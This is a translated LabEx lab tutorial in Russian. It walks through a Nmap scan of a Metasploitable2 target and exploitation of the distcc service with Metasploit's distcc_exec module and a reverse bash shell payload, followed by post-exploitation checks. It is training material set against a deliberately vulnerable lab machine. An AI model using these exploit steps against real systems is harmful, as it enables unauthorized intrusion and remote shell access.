Проведение тестирования на проникновение на Metasploitable2 с помощью Nmap

NmapNmapBeginner
Практиковаться сейчас

💡 Этот учебник переведен с английского с помощью ИИ. Чтобы просмотреть оригинал, вы можете перейти на английский оригинал

Введение

В этом лабораторном занятии мы будем проводить пентест (проверку на проникновение) на целевой машине Metasploitable2, предоставленной LabEx, с использованием терминала Kali. Основное внимание уделено пониманию принципов и процесса атаки на службу Distcc. В конце лабораторного занятия приведены рекомендованная литература и домашние задания.


Skills Graph

%%%%{init: {'theme':'neutral'}}%%%% flowchart RL nmap(("Nmap")) -.-> nmap/NmapGroup(["Nmap"]) nmap/NmapGroup -.-> nmap/installation("Installation and Setup") nmap/NmapGroup -.-> nmap/port_scanning("Port Scanning Methods") nmap/NmapGroup -.-> nmap/host_discovery("Host Discovery Techniques") nmap/NmapGroup -.-> nmap/target_specification("Target Specification") nmap/NmapGroup -.-> nmap/service_detection("Service Detection") subgraph Lab Skills nmap/installation -.-> lab-416128{{"Проведение тестирования на проникновение на Metasploitable2 с помощью Nmap"}} nmap/port_scanning -.-> lab-416128{{"Проведение тестирования на проникновение на Metasploitable2 с помощью Nmap"}} nmap/host_discovery -.-> lab-416128{{"Проведение тестирования на проникновение на Metasploitable2 с помощью Nmap"}} nmap/target_specification -.-> lab-416128{{"Проведение тестирования на проникновение на Metasploitable2 с помощью Nmap"}} nmap/service_detection -.-> lab-416128{{"Проведение тестирования на проникновение на Metasploitable2 с помощью Nmap"}} end

Запуск лабораторной среды

  1. Откройте терминал xfce на хост-машине LabEx и запустите целевую машину Metasploitable2, выполнив следующую команду:
sudo virsh start Metasploitable2

Подождите, пока целевая машина запустится. Это может занять от 1 до 3 минут.

  1. Проверьте связь с целевой машиной, отправив ей пинги:
ping 192.168.122.102

Нажмите Ctrl+C, чтобы остановить отправку пингов.

  1. Запустите контейнер Kali Linux и войдите в среду bash, выполнив следующую команду:
docker run -ti --network host b5b709a49cd5 bash
  1. Внутри контейнера Kali проверьте сетевое соединение с целевой машиной:
ping 192.168.122.102

Нажмите Ctrl+C, чтобы остановить отправку пингов.

Теперь как атакающая, так и целевая машины запущены, и вы можете приступить к пентесту (проверке на проникновение).

Примечание: Если вы случайно выйдете из текущего сеанса bash, контейнер Kali автоматически остановится. Вы можете снова выполнить команду docker run -ti --network host b5b709a49cd5 bash на хост-машине, чтобы запустить новый контейнер Kali и войти в bash для продолжения эксперимента.

Проведение пентеста (проверки на проникновение)

Принцип уязвимости службы Distcc:

Distcc используется для распределенной компиляции больших кодовых баз на сетевых серверах. Однако при неправильной настройке эта служба может быть использована злоумышленниками для выполнения команд. Эта уязвимость присутствует в XCode 1.5 и других версиях Distcc 2.x из-за отсутствия ограничений доступа к порту сервера.

Простыми словами, служба не выполняет надлежащие проверки портов и выполняемых задач, что позволяет атакующим использовать распределенные задачи компиляции для выполнения собственных команд.

Индексы уязвимостей:

Код модуля атаки на уязвимость:

Сначала запустите msfconsole, чтобы войти в интерфейс управления:

cd ~
msfconsole

Используйте инструмент сканирования Nmap для сканирования целевого хоста на открытые порты:

nmap -sV -T4 192.168.122.102

Вот пример того, как может выглядеть вывод:

[*] exec: nmap -sV -T4 192.168.122.102

Starting Nmap 7.94 ( https://nmap.org ) at 2024-03-30 21:51 UTC
Nmap scan report for 192.168.122.102
Host is up (0.0075s latency).
Not shown: 996 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
53/tcp   open  domain  ISC BIND 9.4.2
111/tcp  open  rpcbind 2 (RPC #100000)
3306/tcp open  mysql   MySQL 5.0.51a-3ubuntu5
MAC Address: 52:54:00:1E:9E:B4 (QEMU virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/.
Nmap done: 1 IP address (1 host up) scanned in 7.41 seconds

На основе результатов сканирования найдите модуль, соответствующий портовой службе, на которую вы хотите совершить атаку:

search distcc

В терминале Kali MSF используйте команду use для выбора соответствующего модуля:

use exploit/unix/misc/distcc_exec

Затем используйте команду show options, чтобы отобразить параметры модуля:

show options

Вот пример того, как может выглядеть вывод:

Module options (exploit/unix/misc/distcc_exec):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CHOST                     no        The local client address
   CPORT                     no        The local client port
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasplo
                                       it.html
   RPORT    3632             yes       The target port (TCP)


Payload options (cmd/unix/reverse_bash):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  172.28.140.88    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target



View the full module info with the info, or info -d command.

Установите параметр целевого хоста RHOST равным 192.168.122.102

set RHOST 192.168.122.102

После того, как все параметры настроены, используйте команду exploit для атаки на хост:

exploit

Нажмите Ctrl+D, чтобы выйти из консоли Metasploit, а затем начните проверку

Проверка успешности проникновения

Для проверки успешности проникновения используйте следующие команды: whoami, hostname и ifconfig (для проверки IP-адреса):

Во - первых, если вы не находитесь в консоли Metasploit, вам нужно запустить консоль Metasploit:

cd ~
msfconsole

Проверьте текущего пользователя:

whoami

Проверьте имя хоста:

hostname

Проверьте IP - адрес скомпрометированного хоста:

ifconfig

Если имя хоста и IP - адрес совпадают с данными целевой машины (192.168.122.102), это означает, что пентест (проверка на проникновение) была успешной.

Нажмите Ctrl+D, чтобы выйти из консоли Metasploit, а затем начните проверку

Итоги

В этом лабораторном занятии мы изучили принципы и процесс атаки на службу Distcc. Получили практический опыт в проведении пенетрационного сканирования с использованием Nmap, эксплойта (эксплуатации) уязвимости Distcc с помощью Metasploit и проверке успешности проникновения. Лабораторное занятие дало практическое понимание методов анализа уязвимостей и их эксплойта.